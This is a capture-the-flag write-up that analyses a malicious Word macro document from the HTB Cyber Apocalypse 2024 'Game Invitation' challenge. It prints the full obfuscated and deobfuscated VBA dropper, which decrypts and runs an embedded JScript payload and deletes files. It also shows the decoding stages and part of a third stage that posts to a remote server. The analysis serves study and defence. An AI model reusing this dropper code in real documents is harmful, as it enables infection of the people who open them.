11 minutes
HTB Cyber Apocalypse 2024 - Game Invitation
Challenge description
In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: “Join The Fray: Embrace the Challenge.” But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?
What kind of file do we get?
The file is of the type docm
which is a Microsoft Word macro-enabled document1. This is like a docx
file, which also has the ability to store charts, shapes, images, formatted text etc. The difference between these two file types, is that files with the docm
extension can execute macros to automate tasks in word2. These kind of file extensions can be used for a lot of different kinds of attacks, by taking advantage of the VBA programming that is used for MS macros, to inject malware into a user’s system. This line of thought will be in the back of our minds while we try to solve this challenge.
So when there is a CTF challenge with a MS Word macro-enabled document, one of the first things we want to do is to check what the macros actually do, since this is usually the initial stage of an attack. So to do that, we want to do macro-extraction and deobfuscation.
Macro-extraction and first stage deobfuscation
We have to extract the Word macros out of the document, to deobfuscate them, and for that we are going to use the python tool called Oletools. Oletools is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging3.
To use oletools, we execute the following command:
$ olevba -c invitation.docm
olevba
- specifying the use of oletools-c
- Display VBA source code, but do not analyze it (we will do this manually later)
The output of this is:
olevba 0.60.1 on Python 3.11.2 - http://decalage.info/python/oletools
===============================================================================
FILE: invitation.docm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public IAiiymixt As String
Public kWXlyKwVj As String
Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function
Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub
Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then
Else
Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
Set vTxAnSEFH = CreateObject("vbscript.regexp")
vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub
We can see there is an obfuscated Visual Basic macro, because the function and variable name are all scrambled up, and there isn’t any meaning to them. This makes it hard to understand what the code actually does, therefore we will try to deobfuscate it. This is done by trying to understand what the function does, and what the purpose of the variables are.
Instead of using oletools for deobfuscation, we will do this manually. This is because often it takes a person to understand the meaning of the different obfuscated functions and variables.
We will go through the code and give the function and variables relevant names:
Public mailformjspath As String
Public appdatapath As String
Function reassemblepayload(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
reassemblepayload = True
End Function
Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill mailformjspath
On Error Resume Next
Set filesystemobject = CreateObject("Scripting.FileSystemObject")
filesystemobject.DeleteFile appdatapath & "\*.*", True
Set filesystemobject = Nothing
End Sub
Sub AutoOpen()
On Error GoTo end_of_program
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then
Else
Dim worddocfile
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
worddocfile = FreeFile
Open (ActiveDocument.FullName) For Binary As #worddocfile
Dim worddocfiledata() As Byte
ReDim worddocfiledata(file_length)
Get #worddocfile, 1, worddocfiledata
Dim worddocfiledataasstr As String
worddocfiledataasstr = StrConv(worddocfiledata, vbUnicode)
Dim regexp_match, regexp_matches
Dim regexp
Set regexp = CreateObject("vbscript.regexp")
regexp.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set regexp_matches = regexp.Execute(worddocfiledataasstr)
Dim preindextomailformjspayload
If regexp_matches.Count = 0 Then
GoTo end_of_program
End If
For Each regexp_match In regexp_matches
preindextomailformjspayload = regexp_match.FirstIndex
Exit For
Next
Dim mailformjspayload() As Byte
Dim mailformjspayloadlength As Long
mailformjspayloadlength = 13082
ReDim mailformjspayload(mailformjspayloadlength)
Get #worddocfile, preindextomailformjspayload + 81, mailformjspayload
If Not reassemblepayload(mailformjspayload(), mailformjspayloadlength + 1) Then
GoTo end_of_program
End If
appdatapath = Environ("appdata") & "\Microsoft\Windows"
Set filesystemobject = CreateObject("Scripting.FileSystemObject")
If Not filesystemobject.FolderExists(appdatapath) Then
appdatapath = Environ("appdata")
End If
Set filesystemobject = Nothing
Dim mailformjsfile
mailformjsfile = FreeFile
mailformjspath = appdatapath & "\" & "mailform.js"
Open (mailformjspath) For Binary As #mailformjsfile
Put #mailformjsfile, 1, mailformjspayload
Close #mailformjsfile
Erase mailformjspayload
Set shell = CreateObject("WScript.Shell")
shell.Run """" + mailformjspath + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
end_of_program:
Close #mailformjsfile
ActiveDocument.Save
End If
End Sub
When deobfuscating the code, we see that there is one function and several sub procedures in the form of AutoClose()
and AutoOpen()
. The latter of which runs when the document is opened.
When the document is opened, it is checked whether the computer’s domain is GAMEMASTERS.local
, if it isn’t the script does nothing, else the rest of the macro runs. This is probably done to make sure that if the script would try to execute on one of our computers, no harm would be done.
The script does the following:
- The script reads a file in a binary format, it reads the raw data of the file and is looking for a specific sequence of characters:
sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa
. Once these characters are found, it remembers the position. - After finding the position of this set of characters, it then moves forward 81 characters (because the target sequence was 81 characters long) and continues to read 13082 bytes of data from this new position.
- The script afterwards uses xor to decrypt the data that it is reading.
- This data is saved to a file (and based on the
.js
extension we can assume it is JScript). This is executed with the parametervF8rdgMHKBrvCoCp0ulm
.
We found the offsets and extracted the 2nd stage with a Python script that was created for the purpose:
with open("invitation.docm", "rb") as fp:
docbytes = fp.read()
searchstrindex = docbytes.find(b'sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa') - 1
payloadindex = searchstrindex + 81
payloadsize = 13082
obfpayload = docbytes[payloadindex:payloadindex+payloadsize]
# Deobf using the function in the macro
clearpayload = b''
xor_key = 45
for i in range(payloadsize):
clearpayload += (obfpayload[i] ^ xor_key).to_bytes(1, 'big')
xor_key = ((xor_key ^ 99) ^ (i % 254))
# Save the second stage
with open('mailform.js', 'wb') as fp:
fp.write(clearpayload)
Analysis of the second stage
The second stage is a JScript payload. It is similar to Javascript since they are both based on ECMAScript. We can use a javascript beautifier to make it more readable:
var lVky = WScript.Arguments;
var DASz = lVky(0);
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
eval(Iwlh);
function af5Q(r) {
var a = r.charCodeAt(0);
if (a === 43 || a === 45) return 62;
if (a === 47 || a === 95) return 63;
if (a < 48) return -1;
if (a < 48 + 10) return a - 48 + 26 + 26;
if (a < 65 + 26) return a - 65;
if (a < 97 + 26) return a - 97 + 26
}
function JrvS(r) {
var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var t;
var l;
var h;
if (r.length % 4 > 0) return;
var u = r.length;
var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
var n = new Array(r.length * 3 / 4 - g);
var i = g > 0 ? r.length - 4 : r.length;
var z = 0;
function b(r) {
n[z++] = r
}
for (t = 0, l = 0; t < i; t += 4, l += 3) {
h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
b((h & 16711680) >> 16);
b((h & 65280) >> 8);
b(h & 255)
}
if (g === 2) {
h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
b(h & 255)
} else if (g === 1) {
h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
b(h >> 8 & 255);
b(h & 255)
}
return n
}
function xR68(r, a) {
var t = [];
var l = 0;
var h;
var u = "";
for (var g = 0; g < 256; g++) {
t[g] = g
}
for (var g = 0; g < 256; g++) {
l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
h = t[g];
t[g] = t[l];
t[l] = h
}
var g = 0;
var l = 0;
for (var n = 0; n < a.length; n++) {
g = (g + 1) % 256;
l = (l + t[g]) % 256;
h = t[g];
t[g] = t[l];
t[l] = h;
u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256])
}
return u
}
function lyEK() {
var r = "cxbDXRuOhlNrpkxS7FWQ5G5jUC+Ria6llsmU8nPMP1NDC1Ueoj5ZEbmFzUbxtqM5UW2+nj/Ke2IDGJ
...
T+quYKtMS08BQLTTKZMtMkm0E=";
return r
}
It seems to assemble another payload based on the first argument to the program (seen in the first stage: vF8rdgMHKBrvCoCp0ulm
), again since it is close to JavaScript we can just hardcode the argument value and change eval
to console.log
so it prints the assembled payload instead of executing it:
var DASz = "vF8rdgMHKBrvCoCp0ulm";
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
console.log(Iwlh);
...
And then run it with a Javascript runtime like node
:
$ node mailform_safe.js
Analysis of the third stage
Beautified and cropped version of the third stage:
...
function eRNv(caA2) {
var jpVh = icVh + EBKd.substring(0, EBKd.length - 2) + "pif";
var S47T = new ActiveXObject("MSXML2.XMLHTTP");
S47T.OPEN("post", caA2, false);
S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
S47T.SETREQUESTHEADER("content-length:", "4");
S47T.SETREQUESTHEADER("Cookie:", "flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");
S47T.SEND("work");
if (Z6HQ.FILEEXISTS(jpVh)) {
Z6HQ.DELETEFILE(jpVh)
}
...
Again, the third stage is pretty long and it is all obfuscated, but what caught my attention was flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=
.
This is most likely the flag. If we try to decode it from Base64 using cyberchef, we get the flag: HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}
We suspect it was Base64 because whatever that gets encoded with that, generally has =
in the end.
Afterward we found a tool that could possibly solve this task a bit more easily than what we did: https://github.com/leabhart/Maldocs
Special thanks to my collegue, friend and fellow hacker Scyras for helping me write this writeup.